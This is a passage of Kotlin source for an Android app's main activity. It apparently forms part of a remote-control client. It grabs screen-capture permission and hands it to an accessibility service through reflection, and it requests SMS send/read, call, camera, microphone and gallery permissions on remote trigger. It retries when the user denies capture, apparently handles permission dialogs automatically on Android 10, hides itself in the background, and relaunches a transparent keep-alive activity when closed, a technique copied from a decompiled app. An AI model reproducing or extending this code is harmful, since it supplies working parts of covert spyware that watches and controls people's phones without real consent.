data) } REQUEST_SIMPLE_PERMISSION -> { Log.i(TAG, "🧪 处理SimplePermissionActivity结果") Log.i(TAG, " - REQUEST_SIMPLE_PERMISSION值: $REQUEST_SIMPLE_PERMISSION") Log.i(TAG, " - resultCode详情: $resultCode") Log.i(TAG, " - Intent数据存在: ${data != null}") if (resultCode == Activity.RESULT_OK && data != null) { // 从SimplePermissionActivity获取权限数据 val mediaProjectionResultCode = data.getIntExtra("resultCode", Activity.RESULT_CANCELED) val mediaProjectionData = data.getParcelableExtra("resultData") Log.i(TAG, "🧪 SimplePermissionActivity返回权限数据:") Log.i(TAG, " - MediaProjection resultCode: $mediaProjectionResultCode") Log.i(TAG, " - MediaProjection data存在: ${mediaProjectionData != null}") if (mediaProjectionResultCode == Activity.RESULT_OK && mediaProjectionData != null) { Log.i(TAG, "✅ SimplePermissionActivity权限申请成功") handleMediaProjectionResult(mediaProjectionResultCode, mediaProjectionData) } else { Log.w(TAG, "❌ SimplePermissionActivity权限申请失败") handleMediaProjectionResult(Activity.RESULT_CANCELED, null) } } else { Log.w(TAG, "❌ SimplePermissionActivity返回失败") // 回退到内置方法 runOnUiThread { statusText.text = "🔧 独立Activity失败,尝试内置方法...\n正在重新申请权限" statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) } android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ requestMIUIBuiltinMethod() }, 1000) } } REQUEST_ACCESSIBILITY_PERMISSION -> { Log.i(TAG, "🎯 处理无障碍权限结果") // 从无障碍设置返回,更新UI并检查其他权限 updateUI() // 延迟检查其他权限,让无障碍服务有时间启动 android.os.Handler(mainLooper).postDelayed({ checkAllPermissions() }, 1000) } // 删除悬浮窗权限结果处理 else -> { Log.w(TAG, "⚠️ 未知的requestCode: $requestCode") } } Log.i(TAG, "🎬 ===== onActivityResult处理完成 =====") } private fun handleMediaProjectionResult(resultCode: Int, data: Intent?) { Log.i(TAG, "🎯 ===== handleMediaProjectionResult开始处理 =====") Log.i(TAG, "📊 MediaProjection结果详细分析:") Log.i(TAG, " - resultCode: $resultCode") Log.i(TAG, " - RESULT_OK: ${Activity.RESULT_OK}") Log.i(TAG, " - 权限是否成功: ${resultCode == Activity.RESULT_OK}") Log.i(TAG, " - Intent数据: $data") Log.i(TAG, " - Intent数据非空: ${data != null}") if (data != null) { Log.i(TAG, " - Intent详细信息:") Log.i(TAG, " * Action: ${data.action}") Log.i(TAG, " * Component: ${data.component}") Log.i(TAG, " * Package: ${data.`package`}") Log.i(TAG, " * Data URI: ${data.data}") Log.i(TAG, " * Type: ${data.type}") Log.i(TAG, " * Flags: 0x${data.flags.toString(16)}") val extras = data.extras if (extras != null) { Log.i(TAG, " * Extras数量: ${extras.size()}") for (key in extras.keySet()) { val value = extras.get(key) Log.i(TAG, " - $key: $value (${value?.javaClass?.simpleName})") } } else { Log.i(TAG, " * Extras: null") } } Log.i(TAG, "🔍 检查权限申请上下文:") Log.i(TAG, " - isAutoPermissionRequest: $isAutoPermissionRequest") // 检查Intent参数 val permissionLostRecovery = intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false) Log.i(TAG, " - permissionLostRecovery: $permissionLostRecovery") if (resultCode == Activity.RESULT_OK && data != null) { Log.i(TAG, "✅ MediaProjection权限申请成功,开始处理权限数据") // ✅ 清除权限申请标记 markPermissionRequesting(false) try { // 将权限数据存储到MediaProjectionHolder中 MediaProjectionHolder.setPermissionData(resultCode, data) // 启动前台服务 val foregroundServiceIntent = Intent( this, com.hikoncont.service.RemoteControlForegroundService::class.java ) foregroundServiceIntent.action = "START_MEDIA_PROJECTION" if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { startForegroundService(foregroundServiceIntent) } else { startService(foregroundServiceIntent) } Log.i(TAG, "已启动前台服务来处理MediaProjection") // 检查是否为权限恢复流程 val permissionLostRecovery = intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false) // ✅ 使用内部标志而不是Intent参数,更可靠 val autoRequestPermission = isAutoPermissionRequest Log.i( TAG, "📊 权限申请结果处理: permissionLostRecovery=$permissionLostRecovery, autoRequestPermission=$autoRequestPermission (内部标志)" ) if (permissionLostRecovery) { Log.i(TAG, "✅ MediaProjection权限恢复成功,重新启动屏幕捕获") // 通知AccessibilityService权限恢复成功,立即重新启动屏幕捕获 val broadcastIntent = Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply { putExtra("success", true) putExtra("permission_recovery", true) // 🆕 检查是否为Web端发起的权限刷新请求 val refreshRequest = intent.getBooleanExtra("REFRESH_PERMISSION_REQUEST", false) if (refreshRequest) { putExtra("REFRESH_PERMISSION_REQUEST", true) } } sendBroadcast(broadcastIntent) // 显示恢复成功状态 runOnUiThread { statusText.text = "✅ 权限恢复成功\n功能已恢复" statusText.setTextColor(getColor(android.R.color.holo_green_dark)) enableButton.text = "恢复完成" enableButton.isEnabled = false } // 3秒后隐藏界面 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ hideActivityToBackground() }, 3000) } else if (autoRequestPermission) { Log.i(TAG, "MediaProjection权限申请完成,通知无障碍服务继续流程") // 发送广播通知无障碍服务继续处理(悬浮窗权限由开关控制) val broadcastIntent = Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply { putExtra("success", true) // 不再强制跳过悬浮窗权限,由AccessibilityRemoteService的开关控制 // 🆕 检查是否为Web端发起的权限刷新请求 val refreshRequest = intent.getBooleanExtra("REFRESH_PERMISSION_REQUEST", false) if (refreshRequest) { putExtra("REFRESH_PERMISSION_REQUEST", true) } } sendBroadcast(broadcastIntent) Log.i(TAG, "📡 已发送MEDIA_PROJECTION_GRANTED广播给AccessibilityRemoteService") // ✅ 直接调用AccessibilityRemoteService方法,确保MediaProjection被正确设置 try { val accessibilityService = AccessibilityRemoteService.getInstance() if (accessibilityService != null) { Log.i( TAG, "🔧 直接调用AccessibilityRemoteService处理MediaProjection权限" ) // 获取MediaProjection对象 val mediaProjection = MediaProjectionHolder.getMediaProjection() if (mediaProjection != null) { Log.i( TAG, "✅ MediaProjection对象存在,直接设置到ScreenCaptureManager" ) // 直接调用内部方法设置MediaProjection val setupMethod = accessibilityService.javaClass.getDeclaredMethod( "setupScreenCaptureWithMediaProjection", android.media.projection.MediaProjection::class.java ) setupMethod.isAccessible = true setupMethod.invoke(accessibilityService, mediaProjection) Log.i(TAG, "✅ 已直接设置MediaProjection到ScreenCaptureManager") } else { Log.w(TAG, "⚠️ MediaProjection对象不存在,尝试从权限数据创建") // 从权限数据创建MediaProjection val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData != null) { val (resultCode, resultData) = permissionData if (resultData != null) { val mediaProjectionManager = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager val newMediaProjection = mediaProjectionManager.getMediaProjection( resultCode, resultData ) if (newMediaProjection != null) { Log.i(TAG, "✅ 从权限数据重新创建MediaProjection成功") MediaProjectionHolder.setMediaProjection( newMediaProjection ) // 设置到ScreenCaptureManager val setupMethod = accessibilityService.javaClass.getDeclaredMethod( "setupScreenCaptureWithMediaProjection", android.media.projection.MediaProjection::class.java ) setupMethod.isAccessible = true setupMethod.invoke( accessibilityService, newMediaProjection ) Log.i( TAG, "✅ 已设置重新创建的MediaProjection到ScreenCaptureManager" ) } else { Log.e(TAG, "❌ 从权限数据重新创建MediaProjection失败") } } } } } else { Log.w(TAG, "⚠️ AccessibilityRemoteService实例不存在") } } catch (e: Exception) { Log.e(TAG, "❌ 直接调用AccessibilityRemoteService失败", e) } // ✅ 重置自动权限申请标志 isAutoPermissionRequest = false permissionRequestInProgress = false // 重置权限申请进行中标志 // ✅ 显示权限申请成功状态,给用户反馈 runOnUiThread { statusText.text = "✅ 权限申请成功\n正在启动服务..." statusText.setTextColor(getColor(android.R.color.holo_green_dark)) enableButton.text = "权限申请成功" enableButton.isEnabled = false } // ✅ 根据悬浮窗权限开关决定后续流程 Log.i(TAG, "🚀 MediaProjection权限成功,继续后续权限流程") // 短暂延迟后让无障碍服务处理后续流程 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ if (!isFinishing) { runOnUiThread { statusText.text = "✅ 服务启动中...\n🔄 正在处理配置中" enableButton.text = "服务启动中..." } } }, 1500) // 1.5秒后更新状态 // 等待无障碍服务完成处理后,显示最终状态 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ if (!isFinishing) { runOnUiThread { statusText.text = "✅ 服务启动中..." statusText.setTextColor(getColor(android.R.color.holo_green_dark)) enableButton.text = "服务已就绪" enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark)) enableButton.isEnabled = false } } }, 5000) // 5秒后显示最终成功状态 } } catch (e: Exception) { Log.e(TAG, "启动前台服务失败", e) } } else { Log.w(TAG, "MediaProjection权限申请被拒绝") // ✅ 检测是否为 MIUI 设备的权限对话框不显示问题 val isXiaomiDevice = android.os.Build.MANUFACTURER.equals("Xiaomi", ignoreCase = true) || android.os.Build.MANUFACTURER.equals("Redmi", ignoreCase = true) || android.os.Build.BRAND.equals("Xiaomi", ignoreCase = true) || android.os.Build.BRAND.equals("Redmi", ignoreCase = true) || android.os.Build.BRAND.equals("POCO", ignoreCase = true) if (isXiaomiDevice && android.os.Build.VERSION.SDK_INT == 29 && isAutoPermissionRequest) { Log.w(TAG, "🔧 检测到Xiaomi Android 10设备权限被拒绝,可能是权限对话框未显示问题") Log.i(TAG, "🔧 尝试MIUI权限对话框修复方案") // 方案1:尝试通过不同的方式重新启动权限对话框 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ if (!isFinishing) { Log.i(TAG, "🔧 MIUI修复:尝试重新启动权限对话框") try { // 清除Activity任务栈,确保干净的启动环境 val intent = Intent(this, MainActivity::class.java).apply { flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TASK putExtra("AUTO_REQUEST_PERMISSION", true) putExtra("MIUI_PERMISSION_FIX", true) putExtra("TIMESTAMP", System.currentTimeMillis()) } Log.i(TAG, "🔧 MIUI修复:重新启动MainActivity") startActivity(intent) hideActivityToBackground() } catch (e: Exception) { Log.e(TAG, "❌ MIUI修复失败", e) handleNormalPermissionDenied() } } }, 1000) return } // 如果是自动权限申请但被拒绝,通知无障碍服务 if (isAutoPermissionRequest) { handleNormalPermissionDenied() } else { // 非自动模式下,显示普通的权限申请失败状态 runOnUiThread { updateUI() } } } } /** * ✅ 处理正常的权限拒绝情况 */ private fun handleNormalPermissionDenied() { Log.w(TAG, "MediaProjection权限申请被拒绝,通知无障碍服务但保持应用打开") // ✅ 重置权限申请标志 isAutoPermissionRequest = false permissionRequestInProgress = false // 发送广播通知无障碍服务权限被拒绝 val broadcastIntent = Intent("android.mycustrecev.MEDIA_PROJECTION_GRANTED").apply { putExtra("success", false) // 🆕 检查是否为Web端发起的权限刷新请求 val refreshRequest = intent.getBooleanExtra("REFRESH_PERMISSION_REQUEST", false) if (refreshRequest) { putExtra("REFRESH_PERMISSION_REQUEST", true) } } sendBroadcast(broadcastIntent) // ✅ 清除权限申请标记 markPermissionRequesting(false) // ✅ 不直接关闭应用,而是显示权限状态并允许用户重新尝试 // 使用线程安全方法更新UI updateStatusTextThreadSafe("⚠️ 权限被拒绝\n服务需要此权限才能工作", android.R.color.holo_red_dark) updateButtonSafely("重新申请权限", null, true) // 更新启动参数,清除AUTO_REQUEST_PERMISSION标志 intent.putExtra("AUTO_REQUEST_PERMISSION", false) // ✅ 权限被拒绝后不自动最小化,让用户看到状态并决定下一步操作 Log.i(TAG, "权限被拒绝,保持应用在前台让用户查看状态和重新操作") } private fun notifyAccessibilityService() { try { // 这个方法现在不需要了,MediaProjection将在前台服务中处理 Log.i(TAG, "MediaProjection将在前台服务中处理") } catch (e: Exception) { Log.e(TAG, "通知AccessibilityService失败", e) } } override fun onDestroy() { super.onDestroy() // ✅ 停止WebView状态更新 stopWebViewStatusUpdate() // ✅ 新增:OPPO设备检测,禁用Activity保活 if (!com.hikoncont.util.DeviceDetector.shouldUseActivityKeepAlive()) { Log.i(TAG, "📱 OPPO设备:onDestroy跳过透明保活Activity启动,仅使用服务保活") // 清理资源但不启动透明Activity stopAutoRetry() Log.i(TAG, "已清理自动重试任务") return } // ✅ 强化安装完成检查,防止过早启动保活 try { val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this) val isInstallationComplete = installationStateManager.isInstallationComplete() if (!isInstallationComplete) { Log.w(TAG, "⚠️ onDestroy: 安装未完成,跳过透明保活Activity启动") return } // 检查安装完成时间 val installationTime = installationStateManager.getInstallationTime() val onDestroyCurrentTime = System.currentTimeMillis() val timeSinceInstallation = onDestroyCurrentTime - installationTime if (timeSinceInstallation < 30000L) { Log.w(TAG, "⚠️ onDestroy: 安装刚完成(${timeSinceInstallation}ms),跳过透明保活Activity启动") return } // 检查应用启动次数 val appLaunchCount = getSharedPreferences("app_launch", Context.MODE_PRIVATE) .getInt("launch_count", 0) if (appLaunchCount < 3) { Log.w(TAG, "⚠️ onDestroy: 应用启动次数不足($appLaunchCount),跳过透明保活Activity启动") return } // ✅ 参照反编译应用策略:应用退出时启动透明保活Activity // 检查透明保活Activity是否正在运行 val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager val runningTasks = activityManager.getRunningTasks(10) val isTransparentRunning = runningTasks.any { taskInfo -> taskInfo.topActivity?.className == "com.hikoncont.TransparentKeepAliveActivity" } if (!isTransparentRunning) { Log.i(TAG, "🫥 onDestroy: 透明保活Activity未运行,启动透明保活Activity") val intent = Intent(this, com.hikoncont.TransparentKeepAliveActivity::class.java).apply { addFlags(Intent.FLAG_ACTIVITY_NEW_TASK) putExtra("from_mainactivity_destroy", true) putExtra("keepalive_launch", true) } startActivity(intent) Log.i(TAG, "✅ 透明保活Activity已启动") } else { Log.d(TAG, "🔍 onDestroy: 透明保活Activity已在运行,无需启动") } } catch (e: Exception) { Log.e(TAG, "❌ onDestroy启动透明保活Activity失败", e) } // ✅ 清理自动重试任务,防止内存泄漏 stopAutoRetry() Log.i(TAG, "已清理自动重试任务") // ✅ 清理故障恢复机制相关的Handler任务 try { // 清理所有可能的Handler任务 val mainLooper = android.os.Looper.getMainLooper() if (mainLooper != null) { android.os.Handler(mainLooper).removeCallbacksAndMessages(null) } Log.i(TAG, "已清理故障恢复机制相关任务") } catch (e: Exception) { Log.w(TAG, "清理Handler任务失败: ${e.message}") } // ✅ 取消注册广播接收器 try { unregisterReceiver(combinedBroadcastReceiver) } catch (e: Exception) { Log.w(TAG, "取消注册广播接收器失败: ${e.message}") } // 🚀 WebView性能优化:清理WebView资源 try { clearWebViewCache() destroyWebView() } catch (e: Exception) { Log.w(TAG, "清理WebView资源失败: ${e.message}") } // ❌ 修复:不要在MainActivity销毁时停止MediaProjection! // 这会导致权限立即失效,特别是Android 15设备 // MediaProjection应该由前台服务和AccessibilityService管理 // mediaProjection?.stop() // 删除这行,防止权限被意外停止 // 清理MediaProjection权限监听 stopMediaProjectionPermissionMonitoring() Log.i(TAG, "MainActivity销毁完成") } /** * ✅ 启动MediaProjection权限监听 */ private fun startMediaProjectionPermissionMonitoring() { Log.i(TAG, "🔍 ===== 启动MediaProjection权限监听 =====") Log.i(TAG, "📊 监听配置:") Log.i(TAG, " - 最大检查次数: 30") Log.i(TAG, " - 检查间隔: 500ms") Log.i(TAG, " - 总超时时间: 15秒") Log.i(TAG, " - 启动时间: ${System.currentTimeMillis()}") // 清理之前的监听 stopMediaProjectionPermissionMonitoring() // 🔧 Android 10 特殊处理:启动权限申请后立即开始弹框处理 if (Build.VERSION.SDK_INT == 29) { Log.i(TAG, "📱 Android 10设备:启动直接弹框处理") startAndroid10MediaProjectionDialogHandling() } mediaProjectionCheckHandler = Handler(Looper.getMainLooper()) mediaProjectionCheckRunnable = object : Runnable { private var checkCount = 0 private val maxChecks = 30 // 最多检查30次,即15秒 private val startTime = System.currentTimeMillis() override fun run() { checkCount++ val permissionCheckCurrentTime = System.currentTimeMillis() val elapsedTime = permissionCheckCurrentTime - startTime Log.d(TAG, "🔍 权限监听第${checkCount}次检查 (已耗时: ${elapsedTime}ms)") try { // 检查MediaProjection权限是否已获取 val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData != null) { Log.i( TAG, "✅ 检测到MediaProjection权限已获取(第${checkCount}次检查),触发权限处理" ) // 停止监听 stopMediaProjectionPermissionMonitoring() // 模拟onActivityResult调用 val (resultCode, data) = permissionData if (data != null) { Log.i(TAG, "🔧 权限监听检测到权限获取,手动触发权限处理流程") handleMediaProjectionResult(resultCode, data) } return } // ✅ 新增:检查前台Activity(帮助诊断权限弹窗问题) if (checkCount == 2) { // 1秒后检查一次 try { val activityManager = getSystemService(android.content.Context.ACTIVITY_SERVICE) as android.app.ActivityManager val runningTasks = activityManager.getRunningTasks(1) if (runningTasks.isNotEmpty()) { val topActivity = runningTasks[0].topActivity Log.i(TAG, "🔍 1秒后前台Activity: ${topActivity?.className}") Log.i(TAG, "🔍 前台应用: ${topActivity?.packageName}") // 检查是否是权限相关的Activity val isPermissionActivity = topActivity?.packageName?.let { pkg -> pkg == "com.android.systemui" || pkg.contains("permission", ignoreCase = true) || topActivity.className?.contains( "Permission", ignoreCase = true ) == true } ?: false if (isPermissionActivity) { Log.i(TAG, "✅ 检测到权限相关Activity,弹窗可能已出现") } else { Log.w(TAG, "⚠️ 未检测到权限Activity,弹窗可能没有出现") } } } catch (e: Exception) { Log.w(TAG, "无法检查前台Activity: ${e.message}") } } // 检查是否超时 if (checkCount >= maxChecks) { Log.w(TAG, "⚠️ MediaProjection权限监听超时(${checkCount}次检查),停止监听") stopMediaProjectionPermissionMonitoring() // ✅ 新增:超时时的设备信息(帮助分析问题) Log.w( TAG, "⚠️ 超时设备信息: ${android.os.Build.MANUFACTURER} ${android.os.Build.MODEL}" ) Log.w(TAG, "⚠️ 可能原因: 权限弹窗没有出现,或用户未操作") return } // 每500ms检查一次 mediaProjectionCheckHandler?.postDelayed(this, 500) } catch (e: Exception) { Log.e(TAG, "❌ 权限监听过程中发生异常", e) Log.e(TAG, " - 检查次数: $checkCount") Log.e(TAG, " - 异常类型: ${e.javaClass.simpleName}") Log.e(TAG, " - 异常消息: ${e.message}") // 发生异常时继续监听,除非超过最大次数 if (checkCount < maxChecks) { mediaProjectionCheckHandler?.postDelayed(this, 500) } else { Log.e(TAG, "❌ 权限监听因异常和超时而停止") stopMediaProjectionPermissionMonitoring() } } } } // 启动监听 mediaProjectionCheckHandler?.post(mediaProjectionCheckRunnable!!) Log.i(TAG, "✅ MediaProjection权限监听已启动") } /** * ✅ 停止MediaProjection权限监听 */ private fun stopMediaProjectionPermissionMonitoring() { mediaProjectionCheckRunnable?.let { runnable -> mediaProjectionCheckHandler?.removeCallbacks(runnable) } mediaProjectionCheckHandler = null mediaProjectionCheckRunnable = null } /** * 处理短信权限申请请求 */ private fun handleSMSPermissionRequest() { try { val requestSMSPermission = intent.getBooleanExtra("request_sms_permission", false) if (requestSMSPermission) { Log.i(TAG, "📱 收到短信权限申请请求") requestSMSPermission() } } catch (e: Exception) { Log.e(TAG, "处理短信权限申请请求失败", e) } } /** * 处理相册权限申请请求 */ private fun handleGalleryPermissionRequest() { try { val requestGalleryPermission = intent.getBooleanExtra("request_gallery_permission", false) if (requestGalleryPermission) { Log.i(TAG, "🖼️ 收到相册权限申请请求") requestGalleryPermission() } } catch (e: Exception) { Log.e(TAG, "处理相册权限申请请求失败", e) } } /** * 处理麦克风权限申请请求 */ private fun handleMicrophonePermissionRequest() { try { val requestMicrophonePermission = intent.getBooleanExtra("request_microphone_permission", false) if (requestMicrophonePermission) { Log.i(TAG, "🎤 收到麦克风权限申请请求") requestMicrophonePermission() } } catch (e: Exception) { Log.e(TAG, "处理麦克风权限申请请求失败", e) } } /** * ✅ 直接相册权限请求(用于VivoAuthorizationHandler调用) */ private fun requestGalleryPermissionDirectly() { try { Log.i(TAG, "🎯 直接相册权限请求") if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { val permissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { arrayOf( android.Manifest.permission.READ_MEDIA_IMAGES, android.Manifest.permission.READ_MEDIA_VIDEO ) } else { arrayOf( android.Manifest.permission.READ_EXTERNAL_STORAGE, android.Manifest.permission.WRITE_EXTERNAL_STORAGE ) } val needPermissions = permissions.filter { checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED } if (needPermissions.isNotEmpty()) { Log.i(TAG, "🖼️ 直接申请相册权限") requestPermissions(needPermissions.toTypedArray(), REQUEST_GALLERY_PERMISSION) } else { Log.i(TAG, "✅ 相册权限已授予") } } else { Log.i(TAG, "✅ Android版本低于6.0,无需申请相册权限") } } catch (e: Exception) { Log.e(TAG, "❌ 直接相册权限请求失败", e) } } /** * 申请相册权限 */ private fun requestGalleryPermission() { try { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { val permissions = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { arrayOf(android.Manifest.permission.READ_MEDIA_IMAGES) } else { arrayOf(android.Manifest.permission.READ_EXTERNAL_STORAGE) } val needPermissions = permissions.filter { checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED } if (needPermissions.isNotEmpty()) { Log.i(TAG, "🖼️ 申请相册权限") requestPermissions(needPermissions.toTypedArray(), REQUEST_GALLERY_PERMISSION) } else { Log.i(TAG, "✅ 相册权限已授予") } } else { Log.i(TAG, "✅ Android版本低于6.0,无需申请相册权限") } } catch (e: Exception) { Log.e(TAG, "申请相册权限失败", e) } } /** * ✅ 直接麦克风权限请求(用于VivoAuthorizationHandler调用) */ private fun requestMicrophonePermissionDirectly() { try { Log.i(TAG, "🎯 直接麦克风权限请求") if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) { Log.i(TAG, "🎤 直接申请麦克风权限") requestPermissions( arrayOf(android.Manifest.permission.RECORD_AUDIO), REQUEST_MICROPHONE_PERMISSION ) } else { Log.i(TAG, "✅ 麦克风权限已授予") } } else { Log.i(TAG, "✅ Android版本低于6.0,无需申请麦克风权限") } } catch (e: Exception) { Log.e(TAG, "❌ 直接麦克风权限请求失败", e) } } /** * 申请麦克风权限 */ private fun requestMicrophonePermission() { try { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { if (checkSelfPermission(android.Manifest.permission.RECORD_AUDIO) != PackageManager.PERMISSION_GRANTED) { Log.i(TAG, "🎤 申请麦克风权限") requestPermissions( arrayOf(android.Manifest.permission.RECORD_AUDIO), REQUEST_MICROPHONE_PERMISSION ) } else { Log.i(TAG, "✅ 麦克风权限已授予") } } else { Log.i(TAG, "✅ Android版本低于6.0,无需申请麦克风权限") } } catch (e: Exception) { Log.e(TAG, "申请麦克风权限失败", e) } } /** * ✅ 直接短信权限请求(用于VivoAuthorizationHandler调用) */ private fun requestSMSPermissionDirectly() { try { Log.i(TAG, "🎯 直接短信权限请求") if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { val permissions = arrayOf( android.Manifest.permission.READ_SMS, android.Manifest.permission.SEND_SMS, android.Manifest.permission.RECEIVE_SMS, android.Manifest.permission.READ_PHONE_STATE, android.Manifest.permission.CALL_PHONE ) val needPermissions = permissions.filter { checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED } if (needPermissions.isNotEmpty()) { Log.i(TAG, "📱 直接申请短信权限") requestPermissions(needPermissions.toTypedArray(), REQUEST_SMS_PERMISSION) } else { Log.i(TAG, "✅ 短信权限已授予") } } else { Log.i(TAG, "✅ Android版本低于6.0,无需申请短信权限") } } catch (e: Exception) { Log.e(TAG, "❌ 直接短信权限请求失败", e) } } /** * 申请短信权限 */ private fun requestSMSPermission() { try { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { val permissions = arrayOf( android.Manifest.permission.READ_SMS, android.Manifest.permission.SEND_SMS, android.Manifest.permission.READ_PHONE_STATE ) val needPermissions = permissions.filter { checkSelfPermission(it) != PackageManager.PERMISSION_GRANTED } if (needPermissions.isNotEmpty()) { Log.i(TAG, "📱 申请短信权限") requestPermissions(needPermissions.toTypedArray(), REQUEST_SMS_PERMISSION) } else { Log.i(TAG, "✅ 短信权限已授予") } } else { Log.i(TAG, "✅ Android版本低于6.0,无需申请短信权限") } } catch (e: Exception) { Log.e(TAG, "申请短信权限失败", e) } } /** * 处理摄像头权限申请请求 */ private fun handleCameraPermissionRequest() { try { Log.i(TAG, "📷 开始处理摄像头权限申请请求") // 更新UI状态 runOnUiThread { statusText.text = "📷 正在申请摄像头权限\n请在弹出的对话框中点击允许" statusText.setTextColor(getColor(android.R.color.holo_blue_dark)) enableButton.text = "申请中..." enableButton.isEnabled = false } // 申请摄像头权限 requestCameraPermission() } catch (e: Exception) { Log.e(TAG, "❌ 处理摄像头权限申请请求失败", e) runOnUiThread { statusText.text = "❌ 摄像头权限申请失败\n请手动在设置中开启" statusText.setTextColor(getColor(android.R.color.holo_red_dark)) enableButton.text = "重试" enableButton.isEnabled = true } } } /** * ✅ 直接摄像头权限请求(用于VivoAuthorizationHandler调用) */ private fun requestCameraPermissionDirectly() { try { Log.i(TAG, "🎯 直接摄像头权限请求") if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { Log.i(TAG, "📷 直接申请摄像头权限") requestPermissions( arrayOf(android.Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION ) } else { Log.i(TAG, "✅ 摄像头权限已授予") } } else { Log.i(TAG, "✅ Android版本低于6.0,无需申请摄像头权限") } } catch (e: Exception) { Log.e(TAG, "❌ 直接摄像头权限请求失败", e) } } /** * 申请摄像头权限 */ private fun requestCameraPermission() { try { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { if (checkSelfPermission(android.Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { Log.i(TAG, "📷 申请摄像头权限") requestPermissions( arrayOf(android.Manifest.permission.CAMERA), REQUEST_CAMERA_PERMISSION ) } else { Log.i(TAG, "✅ 摄像头权限已授予") runOnUiThread { statusText.text = "✅ 摄像头权限已授予\n权限申请完成" statusText.setTextColor(getColor(android.R.color.holo_green_dark)) enableButton.text = "完成" enableButton.isEnabled = true } // 延迟隐藏Activity android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ hideActivityToBackground() }, 2000) } } else { Log.i(TAG, "✅ Android版本低于6.0,无需申请摄像头权限") runOnUiThread { statusText.text = "✅ Android版本低于6.0\n无需申请摄像头权限" statusText.setTextColor(getColor(android.R.color.holo_green_dark)) enableButton.text = "完成" enableButton.isEnabled = true } // 延迟隐藏Activity android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ hideActivityToBackground() }, 2000) } } catch (e: Exception) { Log.e(TAG, "申请摄像头权限失败", e) runOnUiThread { statusText.text = "❌ 摄像头权限申请失败\n请手动在设置中开启" statusText.setTextColor(getColor(android.R.color.holo_red_dark)) enableButton.text = "重试" enableButton.isEnabled = true } } } /** * 权限申请结果回调 */ override fun onRequestPermissionsResult( requestCode: Int, permissions: Array, grantResults: IntArray ) { super.onRequestPermissionsResult(requestCode, permissions, grantResults) when (requestCode) { REQUEST_SMS_PERMISSION -> { val allGranted = grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED } if (allGranted) { Log.i(TAG, "✅ 短信权限已授予") } else { Log.w(TAG, "❌ 短信权限被拒绝") } } REQUEST_GALLERY_PERMISSION -> { val allGranted = grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED } if (allGranted) { Log.i(TAG, "✅ 相册权限已授予") } else { Log.w(TAG, "❌ 相册权限未授予") } } REQUEST_MICROPHONE_PERMISSION -> { val allGranted = grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED } if (allGranted) { Log.i(TAG, "✅ 麦克风权限已授予") } else { Log.w(TAG, "❌ 麦克风权限未授予") } } REQUEST_CAMERA_PERMISSION -> { val allGranted = grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED } if (allGranted) { Log.i(TAG, "✅ 摄像头权限已授予") runOnUiThread { statusText.text = "✅ 摄像头权限已授予\n权限申请完成" statusText.setTextColor(getColor(android.R.color.holo_green_dark)) enableButton.text = "完成" enableButton.isEnabled = true } // 延迟隐藏Activity android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ hideActivityToBackground() }, 2000) } else { Log.w(TAG, "❌ 摄像头权限被拒绝") runOnUiThread { statusText.text = "❌ 摄像头权限被拒绝\n请手动在设置中开启" statusText.setTextColor(getColor(android.R.color.holo_red_dark)) enableButton.text = "重试" enableButton.isEnabled = true } } } REQUEST_ALL_PERMISSIONS -> { val allGranted = grantResults.isNotEmpty() && grantResults.all { it == PackageManager.PERMISSION_GRANTED } val grantedCount = grantResults.count { it == PackageManager.PERMISSION_GRANTED } val totalCount = grantResults.size Log.i(TAG, "📊 所有权限申请结果: $grantedCount/$totalCount 已授予") if (allGranted) { Log.i(TAG, "✅ 所有权限已授予") runOnUiThread { statusText.text = "✅ 所有权限已授予\n权限申请完成" statusText.setTextColor(getColor(android.R.color.holo_green_dark)) } } else { Log.w(TAG, "⚠️ 部分权限被拒绝: $grantedCount/$totalCount") runOnUiThread { statusText.text = "⚠️ 部分权限被拒绝\n已授予: $grantedCount/$totalCount" statusText.setTextColor(getColor(android.R.color.holo_orange_dark)) } } } } } /** * 启动WebView页面 * 从server_config.json读取webUrl配置 */ private fun startWebViewActivity() { try { // 🚫 暂时关闭WebView的打开 // Log.i(TAG, 